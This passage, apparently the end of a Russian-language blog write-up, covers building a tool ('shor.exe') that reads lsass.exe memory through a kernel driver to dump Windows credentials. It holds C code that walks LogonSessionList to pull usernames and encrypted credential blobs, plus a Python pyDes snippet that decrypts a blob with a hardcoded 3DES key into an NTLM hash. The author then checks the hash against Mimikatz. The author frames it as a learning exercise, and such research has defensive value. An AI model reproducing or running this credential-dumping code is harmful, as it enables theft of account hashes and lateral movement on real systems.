LogonSessionList); printf("\t\t===================[LogonSessionList]==================="); while (currentElem != LogonSessionList) { if (currentElem == 0) { currentElem = LogonSessionList; } memcpy(¤tElem, lsasrv + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset, 8); printf("Element at: 0x%08llx\n", currentElem); LPSTR currentElem_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81)); currentElem_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem, sizeof(currentElem), EPROCESS_GetProcess); memcpy(¤tElem, currentElem_tmp, sizeof(currentElem_tmp)); free(currentElem_tmp); USHORT length = 0; LPWSTR username = NULL; ULONGLONG username_pointer = 0; LPSTR length_tmp = (LPSTR)malloc(sizeof(length)); length_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x90, sizeof(length), EPROCESS_GetProcess); memcpy(&length, length_tmp, sizeof(length_tmp)); free(length_tmp); username = (LPWSTR)malloc(length + 2); memset(username, 0, length + 2); LPSTR username_pointer_tmp = (LPSTR)malloc(sizeof(username_pointer)); username_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x98, sizeof(username_pointer), EPROCESS_GetProcess); memcpy(&username_pointer, username_pointer_tmp, sizeof(username_pointer_tmp)); free(username_pointer_tmp); LPSTR username_tmp = (LPSTR)malloc(sizeof(username)); username_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)username_pointer, sizeof(username), EPROCESS_GetProcess); memcpy(username, username_tmp, sizeof(username_tmp)); free(username_tmp); wprintf(L"\n[+] Username: %s \n", username); free(username); ULONGLONG credentials_pointer = 0; LPSTR credentials_pointer_tmp = (LPSTR)malloc(sizeof(credentials_pointer)); credentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x108, sizeof(credentials_pointer), EPROCESS_GetProcess); memcpy(&credentials_pointer, credentials_pointer_tmp, sizeof(credentials_pointer_tmp)); free(credentials_pointer_tmp); if (credentials_pointer == 0) { printf("[+] Cryptoblob: (empty)\n"); continue; } printf("[*] Credentials Pointer: 0x%08llx\n", credentials_pointer); ULONGLONG primaryCredentials_pointer = 0; LPSTR primaryCredentials_pointer_tmp = (LPSTR)malloc(sizeof(primaryCredentials_pointer)); primaryCredentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)credentials_pointer + 0x10, sizeof(primaryCredentials_pointer), EPROCESS_GetProcess); memcpy(&primaryCredentials_pointer, primaryCredentials_pointer_tmp, sizeof(primaryCredentials_pointer_tmp)); free(primaryCredentials_pointer_tmp); printf("[*] Primary credentials Pointer: 0x%08llx\n", primaryCredentials_pointer); USHORT cryptoblob_size = 0; LPSTR cryptoblob_size_tmp = (LPSTR)malloc(sizeof(cryptoblob_size)); cryptoblob_size_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x18, sizeof(cryptoblob_size), EPROCESS_GetProcess); memcpy(&cryptoblob_size, cryptoblob_size_tmp, sizeof(cryptoblob_size_tmp)); free(cryptoblob_size_tmp); if (cryptoblob_size % 8 != 0) { printf("[*] Cryptoblob size: (not compatible with 3DEs, skipping...)\n"); continue; } printf("[*] Cryptoblob size: 0x%x\n", cryptoblob_size); ULONGLONG cryptoblob_pointer = 0; LPSTR cryptoblob_pointer_tmp = (LPSTR)malloc(sizeof(cryptoblob_pointer)); cryptoblob_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x20, sizeof(cryptoblob_pointer), EPROCESS_GetProcess); memcpy(&cryptoblob_pointer, cryptoblob_pointer_tmp, sizeof(cryptoblob_pointer_tmp)); free(cryptoblob_pointer_tmp); printf("Cryptoblob pointer: 0x%08llx\n", cryptoblob_pointer); unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size); LPSTR cryptoblob_tmp = (LPSTR)malloc(cryptoblob_size); cryptoblob_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)cryptoblob_pointer, cryptoblob_size, EPROCESS_GetProcess); memcpy(cryptoblob, cryptoblob_tmp, cryptoblob_size); printf("[+] Cryptoblob:\n"); for (int i = 0; i < cryptoblob_size; i++) { printf("%02x", cryptoblob[i]); } printf("\n"); free(cryptoblob_tmp); break; } printf("\t\t================================================\n"); free(needle_buffer); free(lsasrv); }
Результат:

И расшифрую полученный результат с помощью python:
from pyDes import * k = triple_des("221f62e7c7d8e10d612095a6ab610bc2436644180f7274b2".decode("hex"), CBC, "\x00\x00\x00\x00\x00\x00\x00\x00") print k.decrypt("946854293e1be6cd0502e252a2c427e6065d458c4b2bfe3b5c4b79d700308ab52a5fe373e00d60dfc3627d776f0ebc31f82a5f02b276551eee697ee485626c8858bfdefd67854ff63029ae418855502be06c4c70072772e26b89d7d971ca17b2a5c360130e954f1606b5088297e7dd7b570988b2fb1cf79ce7fd7cd3647392bb165858c81f44f1099664436aa19ed429657fb57f5da7b169d3df91b85ccf8b32e600e0f80debcbc4fc9f355e8f60881f419895bf1589cdb7e9ed44ddc27fcd8e03c815974b405d13f4de760c00d7f159503c75de9ba39d34752bcdc30d72413e9b6e944201c1b84d7b43a1f09821924aab0114a33ca7b0aa59692f67acfe2d1ea7489bda821c921465b5969220e027d51a726486be01d76220f7b870fb3f7c6dd004dc573b2b3f40c80ae7c59461e50f1b08fe42cead0ca77dae19099c9cfa933bff932a3767098084476e4340cd1e99cd65d593c6c1653458b3d3c99078c543a30749d4cffec77c9c350c10be7963112708112b1a9adc729bf92ab8068d740796393d562595a00a9e31975952139df37c9dce429f3eeeeb29d8533bad0eb17832e42407f5b59c65".decode("hex"))[74:90].encode("hex")
NTLM hash: c377ba8a4dd52401bc404dbe49771bbc
Последним шагом будет получить с помощью Mimikatz NTLM hash и сверить его с найденным мной NTLM hash’ом, чтобы удостоверится в правильной работе разработанного приложения (shor.exe).

Найденный мной NTLM hash совпадает с NTLM hash’ом программы Mimikatz.
Вывод.
Подводя итоги, хочу сказать, что это был весьма интересный опыт, благодаря которому я познакомился с проектом KDU, позволяющему загружать не подписанные драйвера. Узнал, как хранится NTLM hash в памяти lsass.exe и как хранится виртуальная память в user-mode.
С исходниками разработанного приложения можно ознакомится на github.
